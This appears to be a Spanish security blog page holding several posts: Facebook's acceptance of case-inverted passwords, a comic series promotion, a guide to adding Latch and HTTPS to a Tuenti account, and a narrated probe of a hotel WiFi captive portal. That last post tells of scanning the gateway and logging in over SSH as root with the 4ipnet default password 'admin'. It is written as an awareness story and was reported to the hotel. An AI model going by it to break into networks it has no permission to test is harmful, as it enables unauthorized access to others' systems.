Sin embargo, insistió y me grabó un vídeo, por lo que después de un par de días decidí ver el vídeo y probarlo con otra cuenta que me cree desde cero y volvió a fallarme. Algo no iba bien y tenía que ser en su equipo.¿Cómo va a funcionar una contraseña distinta cuando esto 100% seguro de que Facebook hace hashing de passwords? Y le contesté a David Guzmán - que así se llama mi interlocutor - que volví a probarlo con una password que tenía letras y números y no me funcionó.

La prueba que yo hice fue crearme una cuenta con una clave aAa777 (en el vídeo está mal) e intentar entrar con aaa777 y con AAA777 y no funcionó, por lo que le envié a David un correo diciéndolo que había intentado entrar como él me decía y no había tenido éxito. Quiso el corrector o el destino que al escribir la contraseña de la cuenta escribiera mal la password en el mensaje y pusiera la segunda "A" en minúscula, así David me hizo este vídeo donde se podía entrar y a mí me permitió resolver el misterio y encajar las piezas.

Figura 1: El vídeo de la cuenta de Facebook con múltiples passwords

La resolución al misterio de las múltiples passwords de Facebook

En el vídeo se puede ver que con una contraseña como aaa777 se puede entrar en el sistema usando también AAA777 y Aaa777, pero yo estaba seguro que con la password aAa77 no funcionaban ni aaa777 ni AAA777. Por supuesto, seguía teniendo claro que Facebook está haciendo hashing, así que... ¿qué podría estar pasando?

Tras probar todas las combinaciones me di cuenta de que las passwords que funcionan son dos:

1.- Passwords que se pueden escribir cuando tienes el Bloq+Mays activadas. Es decir, no es que pongas la contraseña todo en mayúsculas o todo en minúsculas, es que hagas una inversión de las letras. Es decir, si tu password es aBcDeF11 entonces también es tu password AbCdEf11. Esto quiere decir que al menos tienes doss passwords.

2.- Passwords que teniendo la primera letra en minúscula, se escribe en mayúscula. En muchos controles de tablets, cuando se pulsa sobre un campo para introducir un texto, por usabilidad se activa la tecla de Mays solo para la primera letra, lo que puede llevar a que si tu password comienza por una letra minúscula, como el ejemplo de aBcDeF11, entonces también te valga la password ABcDeF11.

Tras encajar todo, las cosas cobran sentido. Lo que Facebook hace es probar esas posibilidades, así que tu password de Facebook puede pasar de ser una a ser tres, solo porque las opciones de usabilidad han ganado una vez más la batalla a la seguridad. De esta forma se reducen problemas de soporte con los usuarios que tienen el modo de mayúsculas activado sin querer o que usan una conexión desde un control que pone la primera letra en mayúsculas de forma automática.

Actualización: Facebook reconoce este hecho y explica que este es uno de los casos que no se reconoce como fallo de seguridad. Es su forma de ayudar a la usabilidad.

Figura 2: La explicación oficial de Facebook

Actualización 2: Esta historia me inspiró una reflexión para un No Lusers al vuelo con una maligna reflexión de josemaricariño.

Figura 3: ¿Se cambia la password si solo se cambian mayúsculas por minúsculas?

Saludos Malignos!

Ya está a punto de salir el Nuevo Capítulo de Cálico Electrónico, que será el Capítulo 4 de la Temporada 5 y se llamará "El Conde Mor y el Chola", con la colaboración de muchos de los personajes de la serie, junto con "Cristiano Romualdo" que tiene un papel fundamental en la historia, tal y como se puede ver en el primer trailer de la serie.

Figura 1: Trailer 1 del Capítulo "El Conde Mor y El Chola"
También saldrán los personajes DonRamon y Perchita, que tendrán mucho que ver con lo que le pasará a Cálico Electrónico. Para promocionar el capítulo salió un adelanto que podéis en este Trailer 2 que también está publicado.

Figura 2: Trailer 2 del Capítulo "El Conde Mor y el El Chola" con DonRamon y Perchita
Además, como solemos hacer desde hace ya dos años, seguimos publicando las tiras de cómic de Deili Electrónico, sobrepasando ya el centenar. Aquí tenéis del 100 al 104.

Figura 3: Tiras de Deili Electrónico 105 a 108

Las tiras anteriores las sigo recopilando, así que podéis todas desde el día uno en los siguientes posts en el lado del mal o directamente en la web de Deili Electrónico:

- Tiras Deili Electrónico [01 - 04] - Tiras Deili Electrónico [05 - 08]
- Tiras Deili Electrónico [09 - 12] -Tiras Deili Electrónico [13 - 16]
- Tiras Deili Electrónico [17 - 20] - Tiras Deili Electrónico [21 - 24]
- Tiras Deili Electrónico [25 - 28] - Tiras Deili Electrónico [29 - 32]
- Tiras Deili Electrónico [33 - 36] - Tiras Deili Electrónico [37 - 40]
- Tiras Deili Electrónico [41 - 44] - Tiras Deili Electrónico [45 - 48]
- Tiras Deili Electrónico [49 - 52] - Tiras Deili Electrónico [53 - 56]
- Tiras Deili Electrónico [57 - 60] - Tiras Deili Electrónico [61 - 62]
- Tiras Deili Electrónico [63 - 67] - Tiras Deili Electrónico [68 - 71]
- Tiras Deili Electrónico [72 - 76] - Tiras Deili Electrónico [77 - 81]
- Tiras Deili Electrónico [81 - 87] - Tiras Deili Electrónico [88 - 91]
- Tiras Deili Electrónico [92 - 95] - Tiras Deili Electrónico [96 - 99]
- Tiras Deili Electrónico [100 - 104] - Tiras Deili Electrónico [105 - 108]

Por último, del 15 al 18 de Mayo tendrá lugar el Salón del Cómic de Barcelona, y la Tienda Cálico estará presente con papá Nikotxan, donde podrás conseguir firmados estos pedazo de dibujos de los personajes de Cálico Electrónico.

Figura 4: La tienda Cálico estará en el Salón del Cómic de Barcelona

También durante este periodo hemos continuado recuperando vídeos y material perdido. Entre otros hemos recuperado el anuncio que se hizo para RedBull Cola o el cameo que se hizo para la webserie Gallega "Un sitio distinto". Todos los vídeos están siempre publicados en la web oficial de Cálico Electrónico, por si quieres ver alguno en especial. Entre otros, está el último vídeo con Los Mejores Momentos de Muzamán.

Figura 5: Los Mejores Momentos de Muzamán

Recuerda que todos los vídeos de todas las series están disponibles en el Canal de Cálico Electrónico en Youtube oficial y para que te puedas enterar de todo esto con facilidad, recuerda que tienes una aplicación de Cálico Electrónico para Windows Phone, otra app de Cálico para Android, una aplicación para Windows 8, y una versión para iOS (iPhone & iPad) que podrás descargar desde iTunes. Si te quieres enterar de todas las novedades ya sabes que también puedes seguir la actividad del gordito en su cuenta oficial Twitter, en su página fan de Facebook, a través de Google+ o suscribirte al Canal Oficial Youtube Cálico Electrónico.

Saludos Malignos!

Tras pasar un periodo de pruebas el servicio Latch ya está disponible en la web de tu cuenta Tuenti. De momento está disponible para proteger tu acceso web y puedes configurarlo de forma muy sencilla. Estos son los pasos que debes seguir para poner un Latch y activar HTTPs en tu cuenta de Tuenti.

Paso 1: Hazte usuario de Latch

Para ser usuario de Latch lo único que necesitas es descargar la app de Latch para Windows Phone, Android o iPhone y desde la misma app registrar un cuenta y activarla. Solo se te va a pedir un nombre, un correo electrónico para validar el registro y una contraseña. Será todo anónimo y no mantendremos ningún dato personal de los usuarios de Latch.

Figura 1: Enlaces a las descargas de Latch para Android, iPhone y Windows Phone

Paso 2: Entra en las preferencias de tu cuenta de Tuenti

Entra en la web de Tuenti, y selecciona la opción de Preferencias de Cuenta para configurar tanto el servicio Latch como la conexión HTTPs en toda la sesión. Esto ayudará a evitar que alguien utilice tus credenciales sin tu permiso y a dotar de más privacidad a tus conexiones con cifrado y autenticado de servidores.

Figura 2: Acceso a Preferencias de cuenta en Tuenti

Paso 3: Pide el código temporal de pareado en Latch

El proceso que debes seguir es el estándar de Latch, es decir, solicitar un código temporal de pareado con el botón de "Código de pareado para nuevo servicio".

Figura 3: Petición del código temporal de pareado en Latch

Paso 4: Introduce el código temporal de pareado en la web de Tuenti

Después debes introducirlo en la opción de Parear cuenta de Latch en las Preferencias de Cuenta en Tuenti y dar al botón de "Parear Cuenta de Latch". Tienes 60 segundos para hacer esto, pero no te preocupes. Si el código caduca puedes volver a pedir otro código temporal. No pasa nada.

Figura 4: Opción de Parear cuenta de Latch en las Preferencias de Cuenta de Tuenti

Paso 5: Cuenta de Tuenti Pareada

Automáticamente tendrás la alerta en tu app de Latch informándote de que el servicio Tuenti se ha pareado con éxito y podrás configurar cómo quieres que funcione el bloqueo, además de ver el Latch de Tuenti en tu dashboard de servicios paraeados.

Figura 5: Servicio de Tuenti pareado con éxito

Paso 6: Configuración de Bloqueos

A partir de este momento puedes utilizar Latch para bloquee el acceso cuando no vayas a conectarte a tu identidad. Esto puedes hacerlo directamente desde el dashboard principal de servicios haciendo clic al latch de Tuenti o entrando en las Preferencias del Latch de Tuenti, donde podrás configurar también un Autobloqueo o una Programación Temporal.

Figura 6: Configuración del Latch de Tuenti y alerta de acceso bloqueado

Paso 7: Configuración de alerta de acceso con latch abierto (opcional)

Utilizando la opción de avisar cuando se accede aunque tengas el acceso desbloqueado, puedes ver cuando alguien ha accedido a tu cuenta sin que se produzca un bloqueo. Esta es una opción cómoda que te permitirá saber si alguien tiene tu contraseña incluso sin cambiar tu forma de conectarte al sistema.

Figura 7: Configuración de alertas de acceso a servicios desbloqueados

Paso 8: La alerta de despareado de cuenta

Si en algún momento tú - o alguien - decidiera Desparear la cuenta de Latch, esto sólo se puede hacer desde la web de Tuenti. Al mismo tiempo, en la app de Latch se recibiría una alerta que informaría de este hecho.

Figura 8: Alerta de despareado de cuenta de Tuenti

Paso 9: Configurar HTTPs

También en la misma zona de Preferencias de Cuenta en Tuenti puedes además activar que la comunicación vaya siempre con HTTPs, algo que es más que recomendable si te conectas a la web usando redes públicas o conexiones WiFi. Basta con seleccionar el checkbox y listo.

Figura 9: Configuración de HTTPs en las Preferencias de Cuenta en Tuenti

A partir de este momento podrás mejorar el control de tu cuenta de Tuenti y gozar de un poco más seguridad y privacidad con Latch y HTTPs.

Saludos Malignos!

Durante estas vacaciones de Semana Santa regresé a mi querida isla de Tenerife para disfrutar de unos días de vacaciones con la familia. Como el objetivo de estos días era desconectar de la frenética actividad a que nos lleva esta vida en el mundo de la seguridad informática, decidí dejar el ordenador portátil en casa, y disfrutar de estos días de playa, relax y algo de copas en alguno de los locales de moda de la isla.

Figura 1: Uno de los locales de moda en la isla de Tenerife.

Tras una noche de fiesta me desperté a eso de las 9:15 con la cabeza apunto de estallar, a causa del famoso Ron Arehucas de Canarias, pero mi insomnio crónico no me dejaba dormir, así que como no tenía ninguna computadora a mano, cogí el teléfono móvil y me puse a teclear para ver qué había pasado por Internet. Tras revisar los feeds RSS de seguridad y leer un post del blog del Maligno, reparé en que el hotel en el que me alojaba disponía de una red WiFi privada según nos habían dicho. Como no tenía mucho que hacer, me entretuve en saber cuál sería el nivel de seguridad que ellos entendían por privado.

Figura 2: Portal Cautivo WiFi del hotel.

Al abrir el navegador tras conectarme a la red inalámbrica, apareció el clásico portal cautivo en el que debía introducir mis credenciales. Lo primero que me llamó la atención fue el nombre del host que aparecía en la URL de login: “gateway.example.com”. Lo siguiente que hice fue consultar el direccionamiento de la red WiFi a la que me había conectado en el apartado de Ajustes de mi iPhone, para ver si el portal estaba aplicando aislamiento de clientes a nivel IP:

Figura 3: Direccionamiento de la red WiFi del hotel

Como se puede observar en la imagen, la máscara de subred que se aplica para esta red es “255.255.0.0”, por lo que hablamos de una red de clase B con direccionamiento “192.0.0.0” y no sólo el portal cautivo o la puerta de enlace son accesibles, sino también el resto de equipos.

Además del nombre del hotel, he tapado el nombre que aparece en el apartado de dominios de búsqueda, pues parece que corresponde al de la empresa que instaló y configuró esta red. No obstante, centré mi atención en el nombre de servidor del portal, “gateway.example.com”, así que abrí la aplicación Terminal instalada en mi dispositivo con jailbreak para realizar un ping al host:

Figura 4: Dirección del servidor gateway.example.com

La respuesta al comando ping situaba la dirección IP del portal en la “192.168.2.1”, así que el siguiente paso fue hacer una petición directamente al servidor sin utilizar el nombre de host, para ver si se veía algo diferente:

Figura 5: Portal de administración de Hotspot 4ipnet

Lo que se veía en el navegador ahora ya no era la página de inicio de sesión en el portal cautivo, sino la página de administración del dispositivo que implementaba dicho portal, y que como se puede observar era del fabricante “4ipnet”. No pude reprimirme, y el siguiente paso fue buscar rápidamente en Google las credenciales por defecto, que tanto juego dan en muchos casos, para el usuario administrador de estos dispositivos:

Figura 6: Manuales de dispositivos 4ipnet con credenciales por defecto

Quería comprobar, que en efecto los administradores habrían cambiado la clave por defecto. Y en efecto, afortunadamente la combinación “admin” “admin” que se puede observar en la mayoría de manuales para los productos de 4ipnet me devolvió un mensaje de“Contraseña incorrecta. Siga probando :( “

Como también tenía instalada en mi iPhone el escaner de red para iPhone Scanny, y como este tipo de dispositivos ofrece habitualmente más servicios además del HTTP para la administración de los mismos, decidí comprobar qué otros puertos estaban abiertos:

Figura 7: Escaneo de puertos del servidor con Scanny

Además de HTTP, HTTPs y PPTP, también se podía acceder al host mediante ssh. En ese momento recordé que al buscar la contraseña por defecto para los dispositivos de este fabricante, visualizando el avance del texto para el primero de los resultados se podía entrever que además del usuario admin, existía una cuenta de root.

Si el administrador de la red WiFi privada del hotel había cambiado la password de administrador, lo suyo es que hubiera hecho los deberes y cambiado también de la de root. Si no fuera así, para un posible atacante de esta red WiFi privada sería tan fácil como elegir él mismo cómo quiere configurarse la red. Volví a abrir el Terminal, para intentar conectarme por ssh al hotspot utilizando la cuenta de root, y la clave por defecto “admin”..... Owned! Cual fue mi sorpresa al ver que éste me recibía con los brazos abiertos:

Figura 8: La clave de root no estaba cambiada

En este instante me levanté sobresaltado, con el móvil en la mano y el post de El Lado del Mal que había comenzado a leer en la pantalla. La red WiFi privada había pasado a ser un entorno inseguro donde simplemente con el móvil desde la cama y en unos minutos, un atacante podría tener acceso completo a la consola del servidor que administra la red WiFi del hotel, para desde ahí poder hacer cualquier tipo de maldad: robar información, instalar una backdoor, saltar a otros servidores o clientes de la red... al estilo NSA. Nada de cosas "complicadas" como atacar WPA/WPA2, hacer cracking de las claves WPA/WPA2 o romper un hash MS-Chapv2 PPTP por diccionario o CloudCracker en una conexión PPTP.

No iba a conectarme a esa WiFi nunca, así que recopilé todos los datos y esperé a que una buena ducha luchara contra los efectos del alcohol para notificar en la recepción del hotel que deberían cambiar esa password

Autor: Deepak Daswani
http://deepakdaswani.es
http://twitter.com/dipudaswani

Gira Talentum, Evento Retro y otras jornadas de seguridad

El 0day del Anti XSS de Google Chrome que duró 24 horas

OpenSSL, GnuTLS, Goto Fail y otros bugs en criptografía

Vídeo de la charla "Digital Latches for your Digital Life"

Hacer Jailbreak a un Kiosco de Internet con un Lumia 925

Cómo robarle las contraseñas a los Administradores de WordPress con XSS haciendo Phishing con Unfiltered HTML

Cuéntame tu experiencia Latch

Heartbleed puede desangrarte vivo. Tómatelo en serio.

Un side-channel con Flash para detectar certificados falsos

Buscar bugs de HeartBleed en Well-Known Ports con Google Hacking: Cpanel, Oracle Web Server, Open View y demás

Suspende como un Ingeniero o atente a las consecuencias

Gmail, borraste en Google pero te quedan 121.000 en Bing

X1RedMásSegura, La Gobernanza de Internet a debate en el Senado, OWASP en Barcelona y un paseo por Colombia

Un serio fallo en Dropbox expone tus enlaces privados

El Full-Equip para Android: Adware,Troyanos, Fake AV, Bootkits y el Virus de la Policía con Android-Trojan.Koler.A

Usar Google para descubrir sitos webs con bugs de LFI

Tu cuenta de Facebook tiene 3 passwords y tú no lo sabes

Tiras cómic Deili Electrónico 105 a 108 y los trailers

Añade a tu cuenta de Tuenti la seguridad de Latch y HTTPs

Auditar la WiFi del hotel con resaca y un jailbroken iPhone